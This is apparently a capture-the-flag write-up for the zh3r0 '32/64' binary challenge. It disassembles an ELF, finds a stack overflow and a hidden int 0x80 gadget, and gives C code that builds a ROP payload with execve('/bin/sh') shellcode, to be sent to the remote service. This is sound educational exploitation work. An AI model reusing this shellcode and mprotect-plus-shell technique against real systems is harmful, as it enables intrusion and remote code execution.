Tags: binaryexploit 

Rating:

* Team: MRU CTF
* Member: sigmaTau
* x32/x64 binary exploit zh3r0 CTF
* tofu@rootstorm.com

> I started off examining the contents of the binary

```
sigmatau@kali:~/CTF/zh3r0/binary_exploit/32_64$ objdump -D -M intel chall

chall: file format elf64-x86-64

Disassembly of section .note.gnu.build-id:

00000000004000e8 <.note.gnu.build-id>:
...

Disassembly of section .text:

0000000000400130 <.text>:
400130: 55 push rbp
400131: 48 89 e5 mov rbp,rsp
400134: 48 83 ec 20 sub rsp,0x20
400138: 31 c0 xor eax,eax
40013a: bf 01 00 00 00 mov edi,0x1
40013f: b0 01 mov al,0x1
400141: 48 c7 c6 e4 01 60 00 mov rsi,0x6001e4
400148: ba 19 00 00 00 mov edx,0x19
40014d: 0f 05 syscall
40014f: b0 00 mov al,0x0
400151: 4c 8d 7d e0 lea r15,[rbp-0x20]
400155: 4c 89 fe mov rsi,r15
400158: 48 c7 c7 00 00 00 00 mov rdi,0x0
40015f: 48 c7 c2 2c 00 00 00 mov rdx,0x2c
400166: 0f 05 syscall
400168: 48 89 f7 mov rdi,rsi
40016b: 49 89 ff mov r15,rdi
40016e: 48 c7 c6 fd 01 60 00 mov rsi,0x6001fd
400175: 48 c7 c7 01 00 00 00 mov rdi,0x1
40017c: 48 c7 c0 01 00 00 00 mov rax,0x1
400183: 48 c7 c2 07 00 00 00 mov rdx,0x7
40018a: 0f 05 syscall
40018c: 4c 89 fe mov rsi,r15
40018f: 48 c7 c0 01 00 00 00 mov rax,0x1
400196: 48 c7 c2 20 00 00 00 mov rdx,0x20
40019d: 0f 05 syscall
40019f: bf 01 00 00 00 mov edi,0x1
4001a4: b8 01 00 00 00 mov eax,0x1
4001a9: be 05 02 60 00 mov esi,0x600205
4001ae: ba 12 00 00 00 mov edx,0x12
4001b3: 0f 05 syscall
4001b5: b8 00 00 00 00 mov eax,0x0
4001ba: bf 00 00 00 00 mov edi,0x0
4001bf: be 00 00 60 00 mov esi,0x600000
4001c4: ba 00 02 00 00 mov edx,0x200
4001c9: 0f 05 syscall
4001cb: 48 89 c7 mov rdi,rax
4001ce: 48 31 c0 xor rax,rax
4001d1: 5b pop rbx
4001d2: 5a pop rdx
4001d3: 5e pop rsi
4001d4: 59 pop rcx
4001d5: c9 leave
4001d6: 49 c7 c7 23 00 00 00 mov r15,0x23
4001dd: 4c 89 7c 24 08 mov QWORD PTR [rsp+0x8],r15
4001e2: 48 cb rex.W retf

Disassembly of section .data:

00000000006001e4 <.data>:
6001e4: 50 push rax
6001e5: 6c ins BYTE PTR es:[rdi],dx
6001e6: 65 61 gs (bad)
6001e8: 73 65 jae 0x60024f
6001ea: 20 65 6e and BYTE PTR [rbp+0x6e],ah
6001ed: 74 65 je 0x600254
6001ef: 72 20 jb 0x600211
6001f1: 79 6f jns 0x600262
6001f3: 75 72 jne 0x600267
6001f5: 20 6e 61 and BYTE PTR [rsi+0x61],ch
6001f8: 6d ins DWORD PTR es:[rdi],dx
6001f9: 65 3a 20 cmp ah,BYTE PTR gs:[rax]
6001fc: 0a 48 65 or cl,BYTE PTR [rax+0x65]
6001ff: 6c ins BYTE PTR es:[rdi],dx
600200: 6c ins BYTE PTR es:[rdi],dx
600201: 6f outs dx,DWORD PTR ds:[rsi]
600202: 2c 20 sub al,0x20
600204: 00 53 6f add BYTE PTR [rbx+0x6f],dl
600207: 6d ins DWORD PTR es:[rdi],dx
600208: 65 20 66 65 and BYTE PTR gs:[rsi+0x65],ah
60020c: 65 64 62 61 gs fs (bad)
600210: 63 6b 20 movsxd ebp,DWORD PTR [rbx+0x20]
600213: 3a 20 cmp ah,BYTE PTR [rax]
600215: 20 0a and BYTE PTR [rdx],cl
```

> After peaking at the prologue we see the stack is structured as follows

* rbp + 8
* rbp
* rbp - 8
* rbp + 10
* rbp + 18
* rbp + 20

> We also find an overflow condition

```
40014f: b0 00 mov al,0x0
400151: 4c 8d 7d e0 lea r15,[rbp-0x20]
400155: 4c 89 fe mov rsi,r15
400158: 48 c7 c7 00 00 00 00 mov rdi,0x0
40015f: 48 c7 c2 2c 00 00 00 mov rdx,0x2c
400166: 0f 05 syscall

```
> This reads 0x2c into the stack overwriting rbp and 4 bytes of our return address. [rbp + 8]

> Lets check out the next read()

```
4001b5: b8 00 00 00 00 mov eax,0x0
4001ba: bf 00 00 00 00 mov edi,0x0
4001bf: be 00 00 60 00 mov esi,0x600000
4001c4: ba 00 02 00 00 mov edx,0x200
4001c9: 0f 05 syscall
```
> Okay, so this reads 0x200 bytes below the .data section which actually writes into the data section

> Looking further
```
4001d6: 49 c7 c7 23 00 00 00 mov r15,0x23
4001dd: 4c 89 7c 24 08 mov QWORD PTR [rsp+0x8],r15
4001e2: 48 cb rex.W retf
```
>Everything is switched to 32 bit mode (take note of this for the int80 rop gadget)

>We're going to need to look closer at this binary, so we examine the binary with readelf

```
sigmatau@kali:~/CTF/zh3r0/binary_exploit/32_64$ readelf -a chall
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x400130
Start of program headers: 64 (bytes into file)
Start of section headers: 584 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 3
Size of section headers: 64 (bytes)
Number of section headers: 5
Section header string table index: 4

Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .note.gnu.build-i NOBITS 00000000004000e8 000000e8
0000000000000039 0000000000000000 AX 0 0 4
[ 2] .text PROGBITS 0000000000400130 00000130
00000000000000b4 0000000000000000 AX 0 0 16
[ 3] .data PROGBITS 00000000006001e4 000001e4
0000000000000033 0000000000000000 WA 0 0 4
[ 4] .shstrtab STRTAB 0000000000000000 00000217
000000000000002a 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
l (large), p (processor specific)

There are no section groups in this file.

Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x00000000000001e4 0x00000000000001e4 R E 0x200000
LOAD 0x00000000000001e4 0x00000000006001e4 0x00000000006001e4
0x0000000000000033 0x0000000000000033 RW 0x200000
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 0x10

Section to Segment mapping:
Segment Sections...
00 .note.gnu.build-id .text
01 .data
02

There is no dynamic section in this file.

There are no relocations in this file.

The decoding of unwind sections for machine type Advanced Micro Devices X86-64 is not currently supported.

No version information found in this file.

```
>looking at this tells us a few things
* The .data section is not executable (obviously) but you never know
* We're going to need to find a rop gadget since the NX bit is also set. (this means the stack is not going to be executable)

>Lucky for us this binary contains an interesting section which we will examine further with gdb
```
[1] .note.gnu.build-i NOBITS 00000000004000e8 000000e8
0000000000000039 0000000000000000 AX 0 0 4
```

```
gdb-peda$ x/6i 0x00000000004000e8
0x4000e8: mov eax,edi
0x4000ea: mov esp,esi
0x4000ec: cmp eax,0xb
0x4000ef: je 0x800290
0x4000f5: int 0x80

```

>This rop gadget gives us the ability to make a system call
* NOTE: cmp eax, 0xb is checked which means we cant execve()

>Lets reasearch further.

```
4001cb: 48 89 c7 mov rdi,rax
4001ce: 48 31 c0 xor rax,rax
4001d1: 5b pop rbx
4001d2: 5a pop rdx
4001d3: 5e pop rsi
4001d4: 59 pop rcx
```
> Everything needed to set up a system call is found above
* The rdi value will be the return from the prior read() which is the size of the total bytes read or -1 if errno was set
* We wont be able to execveat() here since we dont have controll over the register that would contain the flag
* We can call sys_mprotect!
* We can also call sys_sigreturn which would be another solution to get this flag

> Using this knowledge we build our payload
```
/*
* sigmaTau - Solution to x32/x64 binary exploit zh3r0 CTF
*/

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

// rop gadget
// 0x4000e8: mov eax,edi
// 0x4000ea: mov esp,esi
// 0x4000ec: cmp eax,0xb
// 0x4000ef: je 0x800290
// 0x4000f5: int 0x80
// 0x4000f7: ret

// total size 44 bytes on the stack + 125 bytes in the data section = 169 bytes total
// stack (parameters to be passed to mprotec)
const char *stack = { // the address range in the interval [addr, addr+len-1]. addr must be aligned to a page boundary.
"\x00\x00\x60\x00\x00\x00\x00\x00" // %rbx [rbp - 0x20] region of memory to make executable
"\x07\x00\x00\x00\x00\x00\x00\x00" // %rdx [rbp - 0x18] argument PROT_EXEC to make memory executable
"\x00\x00\x60\x00\x00\x00\x00\x00" // %rsi [rbp - 0x10] NOTE 32 bit: (where the payload will live in the .data section)
"\x7d\x00\x00\x00\x00\x00\x00\x00" // %rcx [rbp - 0x08] 125 byte sz for mprotect .data region to make executable
"\x00\x00\x00\x00\x00\x00\x00\x00" // %rbp [rbp] padding
"\xe8\x00\x40\x00" // %eip [rbp + 8] the address of our rop gadget note: 32 bit mode (rex.W retf)

// Payload size: 125 bytes <--- the 125 return from read() sets %rax to our system call sys_mprotect
"\x0c\x00\x60\x00" // for the stack
"/bin/sh\x00" // data for execve() in shellcode to use. 0x600004 "\x04\x00\x60\x00" <--- offset to /bin/sh
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xbb\x04\x00\x60\x00" // mov ebx, 0x600004 ; %ebx = const char *filename = 0x600004
"\x31\xc9" // xor ecx,ecx ; %ecx = const char *const argv[] = 0x00
"\x31\xd2" // xor edx,edx ; %edx = const char *const envp[] = 0x00
"\xb8\x0b\x00\x00\x00" // mov eax, 0x0b ; %eax = sys_execve = 11 = 0x0b
"\xcd\x80" // int 0x80 ; execve("/bin/sh", NULL, NULL);
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90"};

int main(int argc, char *argv[])
{
int fd = open("payload", O_WRONLY | O_CREAT);

if (fd == -1)
{
fprintf(stderr, "open()");
return 1;
}

if (write(fd, stack, 169) == -1)
{
fprintf(stderr, "open()");
return 1;
}

if (close(fd) == -1)
{
fprintf(stderr, "close()");
return 1;
}

return 0;
}

```
> This builds our payload, to use it to exploit the remote system
* Add a socket() and connect() using send() or write() to send the payload
* Or use ncat.

Original writeup (https://www.rootstorm.com/).